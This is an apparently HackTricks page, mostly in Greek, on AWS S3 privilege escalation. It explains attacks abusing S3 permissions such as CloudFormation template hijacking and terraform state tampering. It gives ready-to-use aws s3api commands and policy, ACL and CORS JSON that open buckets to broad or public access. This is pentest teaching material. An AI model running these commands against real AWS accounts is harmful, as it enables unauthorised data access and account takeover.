AWS - S3 Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Ένας attacker με αυτά τα permissions σε ενδιαφέροντα buckets μπορεί να καταφέρει να hijack resources και να escalate privileges.

Για παράδειγμα, ένας attacker με αυτά τα permissions πάνω σε ένα cloudformation bucket που ονομάζεται “cf-templates-nohnwfax6a6i-us-east-1” θα μπορεί να hijack το deployment. Η πρόσβαση μπορεί να δοθεί με την ακόλουθη policy:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

Και το hijack είναι δυνατό επειδή υπάρχει ένα μικρό χρονικό παράθυρο από τη στιγμή που το template ανεβαίνει στο bucket μέχρι τη στιγμή που το template αναπτύσσεται. Ένας attacker μπορεί απλώς να δημιουργήσει μια lambda function στον λογαριασμό του που θα trigger όταν σταλεί μια bucket notification, και hijacks το content αυτού του bucket.

The Pacu module cfn__resouce_injection can be used to automate this attack.
Για περισσότερες πληροφορίες δείτε την αρχική έρευνα: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Πρόκειται για τα δικαιώματα για λήψη και ανέβασμα αντικειμένων στο S3. Πολλές υπηρεσίες μέσα στο AWS (και έξω από αυτό) χρησιμοποιούν το S3 για να αποθηκεύουν config files.
Ένας attacker με read access σε αυτά μπορεί να βρει sensitive information.
Ένας attacker με write access σε αυτά θα μπορούσε να modify the data to abuse some service and try to escalate privileges.
Ορισμένα παραδείγματα:

  • Αν μια EC2 instance αποθηκεύει τα user data σε ένα S3 bucket, ένας attacker θα μπορούσε να τα τροποποιήσει ώστε να execute arbitrary code inside the EC2 instance.

s3:PutObject, s3:GetObject (optional) over terraform state file

Είναι πολύ συνηθισμένο τα state files του terraform να αποθηκεύονται σε blob storage των cloud providers, π.χ. AWS S3. Το επίθημα αρχείου για ένα state file είναι .tfstate, και τα ονόματα των bucket συχνά αποκαλύπτουν ότι περιέχουν terraform state files. Συνήθως, κάθε AWS account έχει ένα τέτοιο bucket για να αποθηκεύει τα state files που δείχνουν την κατάσταση του account. Επίσης, στον πραγματικό κόσμο σχεδόν πάντα όλοι οι developers έχουν s3:* και μερικές φορές ακόμα και business users έχουν s3:Put*.

Οπότε, αν έχετε τα permissions που αναφέρονται σε αυτά τα αρχεία, υπάρχει ένας attack vector που σας επιτρέπει να αποκτήσετε RCE στην pipeline με τα προνόμια του terraform - τις περισσότερες φορές AdministratorAccess, κάνοντάς σας admin του cloud account. Επίσης, μπορείτε να χρησιμοποιήσετε αυτόν τον vector για να κάνετε denial of service επίθεση κάνοντας το terraform να διαγράψει νόμιμους πόρους.

Ακολουθήστε την περιγραφή στην ενότητα Abusing Terraform State Files της σελίδας Terraform Security για άμεσα χρησιμοποιήσιμο exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

Ένας attacker, που πρέπει να είναι από τον ίδιο λογαριασμό — αλλιώς θα εμφανιστεί το error The specified method is not allowed will trigger — με αυτό το permission θα μπορεί να δώσει στον εαυτό του περισσότερα permissions επί των bucket(s), επιτρέποντάς του να τα διαβάζει, γράφει, τροποποιεί, διαγράφει και να τα εκθέτει.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

An attacker μπορεί να καταχραστεί αυτές τις permissions για να του παρέχει περισσότερη πρόσβαση σε συγκεκριμένα buckets.
Σημειώστε ότι ο attacker δεν χρειάζεται να προέρχεται από τον ίδιο account. Επιπλέον το write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτά τα δικαιώματα για να αποκτήσει μεγαλύτερη πρόσβαση σε συγκεκριμένα objects μέσα σε buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Ένας επιτιθέμενος με αυτά τα προνόμια αναμένεται να μπορεί να τοποθετήσει ένα Acl σε μια συγκεκριμένη object version

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

Ένας επιτιθέμενος με την άδεια s3:PutBucketCORS μπορεί να τροποποιήσει τη ρύθμιση CORS (Cross-Origin Resource Sharing) ενός bucket, η οποία ελέγχει ποιες web domains μπορούν να έχουν πρόσβαση στα endpoints του. Εάν ορίσει μια επιτρεπτική πολιτική, οποιοδήποτε website θα μπορούσε να κάνει άμεσες αιτήσεις προς το bucket και να διαβάσει τις απαντήσεις από έναν browser.

Αυτό σημαίνει ότι, ενδεχομένως, αν ένας αυθεντικοποιημένος χρήστης μιας web app που φιλοξενείται από το bucket επισκεφτεί την ιστοσελίδα του επιτιθέμενου, ο επιτιθέμενος θα μπορούσε να εκμεταλλευτεί την επιτρεπτική πολιτική CORS και, ανάλογα με την εφαρμογή, να έχει πρόσβαση στα δεδομένα προφίλ του χρήστη ή ακόμη και να υποκλέψει τον λογαριασμό του.

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks